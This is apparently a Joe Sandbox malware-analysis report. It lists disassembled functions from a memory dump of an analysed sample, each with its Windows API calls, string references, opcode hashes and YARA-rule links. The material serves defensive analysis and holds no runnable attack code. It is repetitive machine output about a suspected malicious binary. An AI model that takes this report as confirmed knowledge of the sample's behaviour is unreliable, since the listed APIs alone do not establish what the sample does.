Instruction ID: a5ff52068f46bc04b82b962676f3263f122d43287ea961e30d86e02722f6d906
Opcode Fuzzy Hash: c599bee6fbadac923d0c820bb22fb3065eaf4e577988f5274e0a4c7a26a0fd65
Instruction Fuzzy Hash: 1101D27680A208BFDB216BE9DC09BAE7A6DDFC1730F100219F939961D0CF718941D7A0

Function 008E600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008E604C
GetStockObject.GDI32(00000011), ref: 008E6060
SendMessageW.USER32(00000000,00000030,00000000), ref: 008E606A

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 36c5b466e80631f0717e948035140b8669665fe0f6a6608aeab72586110585a9
Instruction ID: 969b4dd45832101dfc91160f4e4195fe40922a0464c90db3869f0ec15f0b6223
Opcode Fuzzy Hash: 36c5b466e80631f0717e948035140b8669665fe0f6a6608aeab72586110585a9
Instruction Fuzzy Hash: F711A1B3105958BFEF125F959C44EEA7B69FF293A4F000215FE04A2010D732ACA0EB90

Function 00903B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00903B56

Part of subcall function 00903AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00903AD2
Part of subcall function 00903AA3: ___AdjustPointer.LIBCMT ref: 00903AED

_UnwindNestedFrames.LIBCMT ref: 00903B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00903B7C
CallCatchBlock.LIBVCRUNTIME ref: 00903BA4

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: d9d04a05a558a5d4e87661a111384c4cb81ed2440adf1066f8ed85861bd27759
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 70012972100148BFDF126E95CC42EEB3B7EEF88758F048414FE48A6161C732E961EBA0

Function 00913073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,008E13C6,00000000,00000000,?,0091301A,008E13C6,00000000,00000000,00000000,?,0091328B,00000006,FlsSetValue), ref: 009130A5
GetLastError.KERNEL32(?,0091301A,008E13C6,00000000,00000000,00000000,?,0091328B,00000006,FlsSetValue,00982290,FlsSetValue,00000000,00000364,?,00912E46), ref: 009130B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0091301A,008E13C6,00000000,00000000,00000000,?,0091328B,00000006,FlsSetValue,00982290,FlsSetValue,00000000), ref: 009130BF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 29e6550fc0d54c0339ffa8e1abbba3386389db7326e54111efbbfcdf5170557e
Instruction ID: db82cb617d733fa7a5555d2a8378b7da7ad4efa039104b8ae15fd85f9583809e
Opcode Fuzzy Hash: 29e6550fc0d54c0339ffa8e1abbba3386389db7326e54111efbbfcdf5170557e
Instruction Fuzzy Hash: C7012B7331962AABCB314B799C449A77BECAF49B71B118734F919E3140DB21DA81C7E0

Function 00947464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0094747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00947497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 009474AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 009474CA

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 6f9005748234e25b60398e92187eb6e20a981398e2872e9f501820f38fe52d43
Instruction ID: e9ab7488021e97411408b474f21860a289b0ef01eedf4359d7cba6696f790b83
Opcode Fuzzy Hash: 6f9005748234e25b60398e92187eb6e20a981398e2872e9f501820f38fe52d43
Instruction Fuzzy Hash: 5E1161B52093199BE7208F94DC09FA2BBFDEB00B04F10896DA65AD6161D774E944DBA0

Function 0094B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0094ACD3,?,00008000), ref: 0094B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0094ACD3,?,00008000), ref: 0094B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0094ACD3,?,00008000), ref: 0094B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0094ACD3,?,00008000), ref: 0094B126

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 1eccaa258968f780cb998c711c3ed4cb51abc13aa4ee7afc22706c241d0e6de1
Instruction ID: e7bcf4dd96550cc6863fbca9265d4c7b83b437186a195b133a7c2326c6581659
Opcode Fuzzy Hash: 1eccaa258968f780cb998c711c3ed4cb51abc13aa4ee7afc22706c241d0e6de1
Instruction Fuzzy Hash: 9A11AD71C0852CEBCF04AFE4E9A8AEEBB78FF4D311F004499D941B2285CB308650DB51

Function 00942DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00942DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00942DD6
GetCurrentThreadId.KERNEL32 ref: 00942DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00942DE4

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 482d82fc2d1a954014926f34eba1a0bad468708706c221aabfde6a98da35f7b7
Instruction ID: 20428ff2a092635a595a1d1f9038cf9512ae4f15cdba86cb46be5428b6586653
Opcode Fuzzy Hash: 482d82fc2d1a954014926f34eba1a0bad468708706c221aabfde6a98da35f7b7
Instruction Fuzzy Hash: B8E092B2529224BBD7201B729C4DFEB7E6CFF82BB1F800019F109E10809AA4C880D6B0

Function 00978863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 008F9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 008F9693
Part of subcall function 008F9639: SelectObject.GDI32(?,00000000), ref: 008F96A2
Part of subcall function 008F9639: BeginPath.GDI32(?), ref: 008F96B9
Part of subcall function 008F9639: SelectObject.GDI32(?,00000000), ref: 008F96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00978887
LineTo.GDI32(?,?,?), ref: 00978894
EndPath.GDI32(?), ref: 009788A4
StrokePath.GDI32(?), ref: 009788B2

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: b602c19602a10607185733aa5eda29d07ef79c2583ba919e58263344f6aebd99
Instruction ID: 2ce8e17e0c0a71e6095e0c9e4381a31837c61dbc45ebbdf8fcf10d8dd9f7f365
Opcode Fuzzy Hash: b602c19602a10607185733aa5eda29d07ef79c2583ba919e58263344f6aebd99
Instruction Fuzzy Hash: B5F09A36059258BADB122F94AC0DFCA3E19AF06310F408104FA25610E1C7740550EBE6

Function 008F98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 008F98CC
SetTextColor.GDI32(?,?), ref: 008F98D6
SetBkMode.GDI32(?,00000001), ref: 008F98E9
GetStockObject.GDI32(00000005), ref: 008F98F1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 384775dff2d15ae40770c216436728a2649d256ce8ad7197c52e85ebb16e6cac
Instruction ID: 9440b6df6b07719b5f335c4e821fb14f0e4041b7d202c4b4ce2c5d44ea3d5b66
Opcode Fuzzy Hash: 384775dff2d15ae40770c216436728a2649d256ce8ad7197c52e85ebb16e6cac
Instruction Fuzzy Hash: 72E0657225C244ABDB215B74AC09BE87F51EB11335F14822DF6F9540E1C3714680AF10

Function 0094162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00941634
OpenThreadToken.ADVAPI32(00000000,?,?,?,009411D9), ref: 0094163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,009411D9), ref: 00941648
OpenProcessToken.ADVAPI32(00000000,?,?,?,009411D9), ref: 0094164F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: a6062547add07b5abd5a1687ebe3db0f7a4f1341b1c78a228133821d707b7347
Instruction ID: 9299f3da4c34e6fc6559056ae48c21ac7cc47af842791698b2bcad03bf39ea8d
Opcode Fuzzy Hash: a6062547add07b5abd5a1687ebe3db0f7a4f1341b1c78a228133821d707b7347
Instruction Fuzzy Hash: 89E08CB3616211EBDB201FA0AE0DF863B7CAF44792F15880CF249E9090E73484C0DBA4

Function 0093D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0093D858
GetDC.USER32(00000000), ref: 0093D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0093D882
ReleaseDC.USER32(?), ref: 0093D8A3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 8fd2a1393723c9ec78c76351fbb6b65d32d253f87a08863c8b6b672ff16e36ae
Instruction ID: fda12e957e80e70b8df8c0c2227759c317c82227ce61870a2c81ddbc783396f9
Opcode Fuzzy Hash: 8fd2a1393723c9ec78c76351fbb6b65d32d253f87a08863c8b6b672ff16e36ae
Instruction Fuzzy Hash: 97E01AB2814209DFCF41AFA0D84C66DBBB2FB08310F108409E90AE7250CB389981AF40

Function 0093D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0093D86C
GetDC.USER32(00000000), ref: 0093D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0093D882
ReleaseDC.USER32(?), ref: 0093D8A3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: dab6eba6c0469dc8a4890626019911b84f01462f15f17f22a9113acc2d19873b
Instruction ID: c559f1f0c97df5663053f7695e89fdcce655bc580865f92b5ae9134a4d4c649f
Opcode Fuzzy Hash: dab6eba6c0469dc8a4890626019911b84f01462f15f17f22a9113acc2d19873b
Instruction Fuzzy Hash: B1E01AB2C14209DFCF41AFA0D84C66DBBB1FB08310B108008E90AE7250CB385941AF40

Function 00954D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 008E7620: _wcslen.LIBCMT ref: 008E7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00954ED4

Strings

*, xrefs: 00954E10
LPT, xrefs: 00954DFB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: cbbe4e9280b157a24c6e1247488881be8b6a7da4bd764395ed03945ea687d790
Instruction ID: ed6704f8af020ce086634de209385a4d1b35505453d452200a4de5c9d3d47bbe
Opcode Fuzzy Hash: cbbe4e9280b157a24c6e1247488881be8b6a7da4bd764395ed03945ea687d790
Instruction Fuzzy Hash: 9C916E75A002449FCB54DF59C484EAABBF5BF45308F188099E80A9F3A2C735ED89CB91

Function 0090E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0090E30D

Strings

pow, xrefs: 0090E2E5, 0090E302

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: b35a94105a0340e4549d8c65f20142554fb09c07a8cdc36d9a3fe1c3cef9461c
Instruction ID: 5b373c766d610ffebcac55fcbe91dc8bfef77637cc8f6f861c5530e6610ef16d
Opcode Fuzzy Hash: b35a94105a0340e4549d8c65f20142554fb09c07a8cdc36d9a3fe1c3cef9461c
Instruction Fuzzy Hash: BA512A71B1C10B9ACB157758D9013B9BBFCAB40740F744DA8E0D5823F9DB348CD1AA86

Function 008FE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 008FE1B1

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: e717ab409d63263ced14d3b7242e01489ef5112a3583adef55ffa00cec999152
Instruction ID: 973763f2554f8c97fb1648ce57f7293ec3b38c2acd34a81b7b2f7fb142acdbb7
Opcode Fuzzy Hash: e717ab409d63263ced14d3b7242e01489ef5112a3583adef55ffa00cec999152
Instruction Fuzzy Hash: 1C51237590424ADFDB25DF38C481ABA7BA8FF56310F244055F992DB2E0E7349D82CB91

Function 008FF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 008FF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 008FF2BB

Strings

@, xrefs: 008FF2AF

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: a0de8d4f6e6bf3c89c06570d08e2ce44dc4cf1151c1d99895cf8f235bd141949
Instruction ID: d781ab6478373b352c4a27999b6b8daa621aac5eae0161118d785a23e9c343e9
Opcode Fuzzy Hash: a0de8d4f6e6bf3c89c06570d08e2ce44dc4cf1151c1d99895cf8f235bd141949
Instruction Fuzzy Hash: 4851787181C7859BD320AF15E886BABBBF8FF85300F81484DF29981195EB718529CB67

Function 00965745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 009657E0
_wcslen.LIBCMT ref: 009657EC

Strings

CALLARGARRAY, xrefs: 009657E6, 009657EB

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: a3f22d7d3e1727cbf7ec05753dd396a2b4f33bec6ca5fc3bc9b1dc0c904ba951
Instruction ID: 388e5d830ebafae5d8ae7d4ba4e53881611308d14f0081fc30e77f6392931b78
Opcode Fuzzy Hash: a3f22d7d3e1727cbf7ec05753dd396a2b4f33bec6ca5fc3bc9b1dc0c904ba951
Instruction Fuzzy Hash: 7C41AF71E002099FCB14DFA9C8829FEBBF9FF59324F154069E505A7262E7349D81CB91

Function 0095D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0095D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0095D13A

Strings

|, xrefs: 0095D10B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: af3bf968825a64c4d3b87f93a774602c91566bcb973c560e3d6934e3ac948d10
Instruction ID: ee19f6cb99d55c74ec4caadf77f065a3201d32480778af38a04809cff5118bae
Opcode Fuzzy Hash: af3bf968825a64c4d3b87f93a774602c91566bcb973c560e3d6934e3ac948d10
Instruction Fuzzy Hash: 5E317E71C01219EBCF15EFA6CC85AEE7FB9FF05340F100059F819A6161EB31AA56CB61

Function 0097356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00973621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0097365C

Strings

static, xrefs: 009735BC

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
